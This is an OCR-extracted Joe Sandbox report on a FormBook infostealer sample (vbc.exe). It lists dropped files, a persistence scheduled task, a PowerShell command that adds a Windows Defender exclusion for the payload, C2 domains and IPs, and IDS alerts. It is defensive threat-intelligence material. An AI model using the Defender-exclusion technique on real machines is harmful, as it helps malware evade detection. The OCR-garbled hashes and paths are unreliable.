https://view.joesandbox.com/analysis/404635/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404635/html/none?idtype=webid
https://view.joesandbox.com/analysis/404612/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404612/html/none?idtype=webid
https://view.joesandbox.com/analysis/404441/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404441/html/none?idtype=webid
https://view.joesandbox.com/analysis/404000/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404000/html/none?idtype=webid
https://view.joesandbox.com/analysis/403736/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403736/html/none?idtype=webid
https://view.joesandbox.com/analysis/403734/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403734/html/none?idtype=webid
https://view.joesandbox.com/analysis/403186/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403186/html/none?idtype=webid
https://view.joesandbox.com/analysis/402178/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/402178/html/none?idtype=webid

ASN
Match

CLOUDFLARENETUS

INTERQGMOInternetincJP

JA3 Fingerprints

No context

Dropped Files

No context

Created |/ dropped Files
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SHA 256
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash
Get hash
Get hash

Get hash
Get hash
Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious
malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse
Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Context
e 172.67.217.17

e 172.67.199.195
e 104.21.42.115
e 172.67.217.39
e 172.67.176.199
e 104.17.207.37

e 162.159.12
9.233

e 162.159.13
3.233

e 162.159.13
3.233

e 104.21.19.200
e 23.227.38.74
e 172.67.128.223

e 104.21.19.200
e 172.67.136.207

e 162.159.13
4.233

e 104.21.6.12

e 104.21.6.12

e 104.21.18.247
e 104.18.29.147
e 104.16.126.175
e 118.27.122.150
e 118.27.122.221
e 163.44.185.185
e 157.7.107.193
e 118.27.122.216
e 157.7.44.214

e 157.7.107.193
e 150.95.255.38
e 118.27.122.216
e 150.95.255.38
e 150.95.255.38
e 118.27.122.221
e 150.95.255.38

e 133.130.11
2.159

e 157.7.107.193
e 118.27.80.208
e 150.95.255.38
e 150.95.255.38
e 150.95.255.38
e 157.7.144.96
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https://view.joesandbox.com/analysis/407769/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407769/html/none?idtype=webid
https://view.joesandbox.com/analysis/407764/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407764/html/none?idtype=webid
https://view.joesandbox.com/analysis/407759/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407759/html/none?idtype=webid
https://view.joesandbox.com/analysis/407748/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407748/html/none?idtype=webid
https://view.joesandbox.com/analysis/407746/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407746/html/none?idtype=webid
https://view.joesandbox.com/analysis/407740/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407740/html/none?idtype=webid
https://view.joesandbox.com/analysis/407731/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407731/html/none?idtype=webid
https://view.joesandbox.com/analysis/407712/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407712/html/none?idtype=webid
https://view.joesandbox.com/analysis/407708/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407708/html/none?idtype=webid
https://view.joesandbox.com/analysis/407664/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407664/html/none?idtype=webid
https://view.joesandbox.com/analysis/407651/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407651/html/none?idtype=webid
https://view.joesandbox.com/analysis/407642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407642/html/none?idtype=webid
https://view.joesandbox.com/analysis/407637/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407637/html/none?idtype=webid
https://view.joesandbox.com/analysis/407623/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407623/html/none?idtype=webid
https://view.joesandbox.com/analysis/407622/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407622/html/none?idtype=webid
https://view.joesandbox.com/analysis/407617/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407617/html/none?idtype=webid
https://view.joesandbox.com/analysis/407609/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407609/html/none?idtype=webid
https://view.joesandbox.com/analysis/407607/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407607/html/none?idtype=webid
https://view.joesandbox.com/analysis/407605/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407605/html/none?idtype=webid
https://view.joesandbox.com/analysis/407597/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407597/html/none?idtype=webid
https://view.joesandbox.com/analysis/407592/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407592/html/none?idtype=webid
https://view.joesandbox.com/analysis/407422/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407422/html/none?idtype=webid
https://view.joesandbox.com/analysis/407325/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407325/html/none?idtype=webid
https://view.joesandbox.com/analysis/406413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406413/html/none?idtype=webid
https://view.joesandbox.com/analysis/406153/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406153/html/none?idtype=webid
https://view.joesandbox.com/analysis/406152/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406152/html/none?idtype=webid
https://view.joesandbox.com/analysis/406148/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406148/html/none?idtype=webid
https://view.joesandbox.com/analysis/405845/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405845/html/none?idtype=webid
https://view.joesandbox.com/analysis/405831/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405831/html/none?idtype=webid
https://view.joesandbox.com/analysis/405820/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405820/html/none?idtype=webid
https://view.joesandbox.com/analysis/405548/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405548/html/none?idtype=webid
https://view.joesandbox.com/analysis/405431/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405431/html/none?idtype=webid
https://view.joesandbox.com/analysis/403939/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403939/html/none?idtype=webid
https://view.joesandbox.com/analysis/403508/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403508/html/none?idtype=webid
https://view.joesandbox.com/analysis/403403/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403403/html/none?idtype=webid
https://view.joesandbox.com/analysis/403237/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403237/html/none?idtype=webid
https://view.joesandbox.com/analysis/403198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403198/html/none?idtype=webid
https://view.joesandbox.com/analysis/403109/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403109/html/none?idtype=webid
https://view.joesandbox.com/analysis/403078/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403078/html/none?idtype=webid
https://view.joesandbox.com/analysis/402531/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/402531/html/none?idtype=webid

C:\Users\user\AppDatal\Local\Microsoft\CLR _v4.0_32\UsagelLogs\vbc.exe.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Users\user\Desktop\vbc.exe

ASCII text, with CRLF line terminators

modified

1216

5.355304211458859

false
24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9IpKhPKIE40KFKHK0ZAE4Kzr7FE4x84j:MIHK5HKXE1gHiYHKhQnoPtHoxHhAHKzr
FED34146BF2F2FA59DCF8702FCC8232E

BO3BFEA175989D989850CF06FE5SE7BBF56EAAQ0A
123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0OD5C

1CC89F2ED1DBD70628FA1DC41A32BA0BFA3ES81EAE1IALICF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8CABDSEL7933F75687C3178F
F6

false

high, very likely benign file

1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.
0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.
ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyT
oken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.C
onfiguration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Configuration\
8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll”,0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:
\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\luser\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Noninteractive

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

data

dropped

22284

5.353881910568184

false
384:1tCDbSTNIDrNVXf1INcbnusm7u5c+Ohhbm1dOYlw4aC:DyJ/npXS7usw8c+gbaflT
0D67EDF91C635D7850EF610BA3B6ESOE
4E3C716CEB41805F4EBEC8E01E2D69660457AF54
A6DBC87A3E4DA7C3B5B97E35199A28779B014EFAC9AD41187D1C4BD15B66299D
7792499CA1DF9740430C00C695D4D981015FCACA514F27F60824262CECB1330B68070722233CB1026B1AEBE4D8343370A1051C20500A532C536AB72B9FE36B45
false

low

@...6.ccvene ...
.ConsoleHost4...

...... [..{a.C..%6..h........System.Core.0...............

#.Microsoft.Management.Infrastructure.8........ Ll System.Numerics.@................ Lo..QN.....<Q........ System.DirectoryServices<................ H..QN.Y f.......
..... System.Management...4....................]. D.E.... #.....System.Data.H................. ....H..m)aUu.........Microsoft. PowerShell. Security...<...............~.[L.D.Z.>.m.........Sy
stem.Transactions.<................ ):gK..G..$.1.q........ System.ConfigurationP................. /.C.J.%..]....... %.Microsoft.PowerShell. Commands.Utility...D.................. -D.F.<.nt.1

........ System.Configuration.Ins

C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_Ilq3sbvzj.wru.psml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

very short file (no magic)

dropped

1

0.0

false

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

4DFF4EA340F0A823F15D3F4F01AB62EAEOESDAS579CCB851F8DBIDFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651!
A

false

C:\Users\user\AppData\Local\Temp\ _PSScriptPolicyTest _nn4teh0l.j21.ps1

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
very short file (no magic)

dropped

1

0.0

false
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C:\Users\luser\AppData\Local\Temp\__PSScriptPolicyTest_nn4teh0l.j21.ps1

SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

3:U:U

C4CA4238A0B923820DCC509A6F75849B
356A192B7913B04C54574D18C28D46E6395428AB
6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

ADFF4EA340F0A823F15D3F4F01AB62EAEOESDAS79CCB851F8DBODFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433EDGFA4651!
A

false

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\vbc.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

1663

5.177504026201777

false

24:2dH4+SEqC/dp7hdMINMFpdU/IIMhEMjnGpwjplgUYODOLDIRJIn7h8gKBFtn:cbhH7MINQ8/rydbz913YODOLNdq3t

E7C4E7B70996F6294F5F000C26736157

44691C6732ED527445581CE7953F35BA9FB57A0C

241672A3BAC2F63F1BD79B1F48B7C1F5B4F2D471652EFASD367549DB7ES5E084
7C28CFD9CF220B143D08741D0BF601D06328508AD571D9258C456BFOFBD4A7BIE7E9648A7C1913834AD6915AB80DE265ED59BE81292BE32EA3535781E5AESBC

true

<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmIns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-
10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </Registrationinfo>.. <Triggers>.. <LogonTrigger>..  <Enabled>true</Enabled>..
<Userld>computer\user</Userld>.. </LogonTrigger>.. <RegistrationTrigger>..  <Enabled>false</Enabled>.. ~</RegistrationTrigger>.. </Triggers>.. <Principals>..
<Principal id="Author">..  <Userld>computer\user</Userld>..  <LogonType>InteractiveToken</LogonType>..  <RunLevel>LeastPrivilege</RunLevel>.. </Pri
ncipal>.. </Principals>.. <Settings>.. <MultiplelnstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartlfOnBatteries>false</DisallowStartIfOnBatte
ries>..  <StoplfGoingOnBatteries>true</StoplfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAv

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\vbc.exe
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

368640

7.907277852559704

false
6144:hC9EDghMkMs4P2CW2RTIcERCtbjgg2vey8adKI75uhPLTDCfAYGQLomQVHb:h1DghTjPymtvggdya9R75AzOAcomQV7
C4A1BDD685E346B7604F93357A922875

6B8FCCADCF1977F5850FAA1C47617343FAFCOFF4
728B23F75C1140A1763DD7C75083F2AE57AFEBG6FFA3D7B33A9BA1B4904C4566D

15FD260D342AB48A0A23293EE49DC50150BOEDAABF869F9E2A80BB7946FES5483CB4D89037352AD76008FFCA703B93A68361F1D4FFD1E09F37996D5DF47BC6C/
3

true

1..L.IThis program cannot be run in DOS mode....$....... PE..L..(-a.

S b n(5..99...8.(3..8...& ...8"...
RN O T W

C:\Users\luser\AppData\Roaming\uZlkYhlkeLeaKC.exe:Zone.ldentifier

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\vbc.exe

ASCII text, with CRLF line terminators

dropped

26

3.95006375643621

false

3:ggPYViIrPYV

187F488E27DB4AF347237FE461A079AD
6693BA299EC1881249D59262276A0D2CB21F8E6G4
255A65D30841AB4082BDIDOEEA79D49C5EE88F56136157D8D6156AEF11C12309
89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD64

false

[ZoneTransfer]....Zoneld=0
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C:\Users\user\Documents\20211109\PowerShell_transcript.921702.y9Ja5PCc.20211109125606.txt

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

5845

5.388652589278563

false

96:BZQ6VN2qD01ZNZ96VN2gD01ZDTdLjZP6VN2gDolZwmbbhZm:l
5428FD441DF4A369B3F10ABABA0933E5S
8BCE64310E0A65B24558C7C05A99177624050540
27FE637C478154A60944EC3E45F92277C28630985AFEC17CB104516F4970C5E8

C7799055AD9994136A3B1AC72BFB37FC1AD79E58A24C5BEBE771444BAEES10AB50D11609305E6F8017B21188C027824D54920A516801399B92D78124B358BF28

false

ek \Windows PowerShell transcript start..Start time: 20211109125607..Username: computer\user..RunAs User: computer\user..Configuration Name:
..Machine: 921702 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\user\AppData\Roaming\uZIlkYhlkeLeaKC.exe..Process ID: 6604..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3
.0,4.0,5.0,5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion:
1.1.0.1.. ..Command start time: 20211109125607 ..+ *xrkkxsriinnixniiix . PS>Add-MpPreference -ExclusionPath C:\Users\usen\Ap
pData\Roam|ng\uZIthIkeLeaKC exe. ks \\indows PowerShell transcript start..Start time: 20211109130015..Username: computer\user..RunA

Static File Info

General
File type:

Entropy (8bit):

TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

00828e8e8686b000

Static PE Info

General
Entrypoint:

Entrypoint Section:
Digitally signed:

Imagebase:

Subsystem:

Image File Characteristics:

0x45b50e
text
false
0x400000

windows gui

LINE_NUMS_STRIPPED

Copyright Joe Security LLC 2021

PE32 executable (GUI) Intel 80386 Mono/.Net assemb
ly, for MS Windows

7.907277852559704

e Win32 Executable (generic) Net Framework
(10011505/4) 49.83%

* Win32 Executable (generic) a (10002005/4)
49.78%

e Generic CIL Executable (.NET, Mono, etc.)
(73296/58) 0.36%

e Generic Win/DOS Executable (2004/3) 0.01%

e DOS Executable Generic (2002/1) 0.01%

vbc.exe

368640
c4albdd685e346b7604f93357a922875
6b8fccadcf1977f5850faalc47617343fafcOff4

728b23f75¢1140a1763dd7c75083f2ae57afeb6ffa3d7b33
a9balb4904c4566d

15fd260d342ab48a0a23293ee49dc50150b0edaabf869f9
e2a80bb7946fe5483cb4d89037352ad76008ffca703b93a
68361f1d4ffd1e09f37996d5df47bc6ca3

6144:hC9EDghMkMs4P2CW2RTIcERCtbjgg2vecy8a9KI
75uhPLTDcfAYGQLomQVHb:h1DghTjPymtvggdyadR7
5Az0OAcomQV7

MZ....

-a.

@..

LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,
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General

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp: 0x618A2D28 [Tue Nov 9 08:11:20 2021 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x2000 0x59514 0x59600 False 0.893217329545 data 7.9203967863 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

.rsrc 0x5c000 0x5d8 0x600 False 0.431640625 data 4.16950249458 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

.reloc 0x5e000 Oxc 0x200 False 0.044921875 data 0.101910425663 IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
. IMAGE_SCN_MEM_READ

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP

11/09/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49794 80 192.168.2.7 44.227.65.245

12:57:17.665894

11/09/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49794 80 192.168.2.7 44.227.65.245

12:57:17.665894

11/09/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49794 80 192.168.2.7 44.227.65.245

12:57:17.665894

11/09/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49816 80 192.168.2.7 172.67.188.247

12:57:29.013759

11/09/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49816 80 192.168.2.7 172.67.188.247

12:57:29.013759

11/09/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49816 80 192.168.2.7 172.67.188.247

12:57:29.013759

11/09/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49818 34.102.136.180 192.168.2.7

12:57:34.283009

11/09/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49821 80 192.168.2.7 101.132.116.91

12:57:39.595240

11/09/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49821 80 192.168.2.7 101.132.116.91

12:57:39.595240

11/09/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49821 80 192.168.2.7 101.132.116.91

12:57:39.595240

11/09/21- ICMP 402 ICMP Destination Unreachable Port Unreachable 192.168.2.7 8.8.8.8

12:57:48.252391

11/09/21- ICMP 402 ICMP Destination Unreachable Port Unreachable 192.168.2.7 8.8.8.8

12:57:49.299373

11/09/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49848 34.102.136.180 192.168.2.7

12:58:02.641444

11/09/21- TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49850 103.118.81.108 192.168.2.7

12:58:08.507989
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Timestamp Protocol SID

11/09/21-
12:58:13.678079

TCP 1201

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

Timestamp

Nov 9, 2021 12:57:17.065556049 CET
Nov 9, 2021 12:57:22.879528999 CET

Nov 9, 2021 12:57:28.956065893 CET

Nov 9, 2021 12:57:34.122539997 CET
Nov 9, 2021 12:57:39.320169926 CET
Nov 9, 2021 12:57:45.131288052 CET
Nov 9, 2021 12:57:46.126441956 CET
Nov 9, 2021 12:57:47.157723904 CET
Nov 9, 2021 12:57:52.316186905 CET
Nov 9, 2021 12:57:57.381405115 CET
Nov 9, 2021 12:58:02.464620113 CET
Nov 9, 2021 12:58:07.645164967 CET
Nov 9, 2021 12:58:13.521158934 CET

Nov 9, 2021 12:58:18.693773031 CET

DNS Answers

Timestamp Source IP

Nov 9, 2021
12:57:17.257793903
CET

Nov 9, 2021
12:57:17.257793903
CET

Nov 9, 2021
12:57:23.134397984
CET

Nov 9, 2021
12:57:28.979376078
CET

Nov 9, 2021
12:57:28.979376078
CET

Nov 9, 2021
12:57:34.145211935
CET

Nov 9, 2021
12:57:34.145211935
CET

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Copyright Joe Security LLC 2021

Message

ATTACK-RESPONSES 403 Forbidden

Dest IP
192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

Source IP

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

Trans ID
Oxce70

Oxce70

0x76b1

0x349c

0x349c

0x3b78

0x3b78

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

Oxce70

0x76b1

0x349c

0x3b78

Oxfbda

0xc50d

0xc50d

0xc50d

0x28ab

0x9bdc

0x2f30

Oxa6b4

0x527b

0xd29¢c

Name

www.sharps
tead.com

www.sharps
tead.com

www.maikou
farm.com

www.septem
berstockev
ent200.com

www.septem
berstockev
ent200.com

www.joye.club

joye.club

OP Code
Standard query
(©)

Standard query
(©)

Standard query
)

Standard query
)
Standard query
)
Standard query
)
Standard query
(©)
Standard query
)
Standard query
)
Standard query
)
Standard query
)
Standard query
)
Standard query
)
Standard query
(©)

CName

joye.club

Source Dest

Port Port Source IP
80 49851
Name Type
www.sharps A (IP address)
tead.com
www.maikou A (IP address)
farm.com
www.septem A (IP address)
berstockev
ent200.com

www.joye.club

www.mmj011
5.xyz

www.waterm
ountsteam.top

Wwww.waterm
ountsteam.top

www.waterm
ountsteam.top

www.leeway
svcs.com

www.miabel
lavita.com

www.yungbr
edda.com

www.joy126
3.com

www.mattla
mbert.xyz

www.annika
daniel.love

Address

44.227.65.245

44.227.76.166

118.27.122.222

172.67.188.247

104.21.65.66

34.102.136.180

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

Dest IP

34.102.136.180 192.168.2.7

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0X0001)

Class
IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Nov 9, 2021 8.8.8.8
12:57:39.345231056
CET

Nov 9, 2021 8.8.8.8
12:57:47.272138119
CET

Nov 9, 2021 8.8.8.8
12:57:48.252280951
CET

Nov 9, 2021 8.8.8.8
12:57:49.299220085
CET

Nov 9, 2021 8.8.8.8
12:57:52.362221003
CET

Nov 9, 2021 8.8.8.8
12:57:57.404184103
CET

Nov 9, 2021 8.8.8.8
12:57:57.404184103
CET

Nov 9, 2021 8.8.8.8
12:58:02.505490065
CET

Nov 9, 2021 8.8.8.8
12:58:02.505490065
CET

Nov 9, 2021 8.8.8.8
12:58:07.974133968
CET

Nov 9, 2021 8.8.8.8
12:58:07.974133968
CET

Nov 9, 2021 8.8.8.8
12:58:07.974133968
CET

Nov 9, 2021 8.8.8.8
12:58:07.974133968
CET

Nov 9, 2021 8.8.8.8
12:58:07.974133968
CET

Nov 9, 2021 8.8.8.8
12:58:13.542715073
CET

Nov 9, 2021 8.8.8.8
12:58:13.542715073
CET

Nov 9, 2021 8.8.8.8
12:58:18.740915060
CET

Nov 9, 2021 8.8.8.8
12:58:18.740915060
CET

Dest IP
192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

HTTP Request Dependency Graph

Copyright Joe Security LLC 2021

Trans ID

Oxfbda

0xc50d

0xc50d

0xc50d

0x28ab

0x9bdc

0x9bdc

0x2f30

0x2f30

Oxa6b4

Oxa6b4

Oxa6b4

Oxa6b4

Oxa6b4

0x527b

0x527b

0xd29¢c

0xd29c

Reply Code
No error (0)

Server failure

(@)

Server failure

(@)

Server failure

(@)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

www.mmj011
5.xyz

www.waterm
ountsteam.top

www.waterm
ountsteam.top

www.waterm
ountsteam.top

www.leeway
svcs.com

www.miabel
lavita.com

www.miabel
lavita.com

www.yungbr
edda.com

yungbredda.com

www.joy126
3.com

sl.amhttpp
roxy.com

9380-5-g-1
5447704574
51j.greycdn.net
y01-p380-01-
def-006.
greycdn.net
2010-gp-hk-06-
75-adf
h31.greycdn.net
www.mattla
mbert.xyz

mattlambert.xyz

www.annika
daniel.love

ghs.google
hosted.com

CName

none

none

none

none

yungbredda.com

s1l.amhttpproxy.com

9380-5-g-

1544770457451j.greycdn.

net

y01-p380-01-def-
006.greycdn.net

z010-gp-hk-06-75-
adfh31.greycdn.net

mattlambert.xyz

ghs.googlehosted.com

Address
101.132.116.91

none

none

none

none

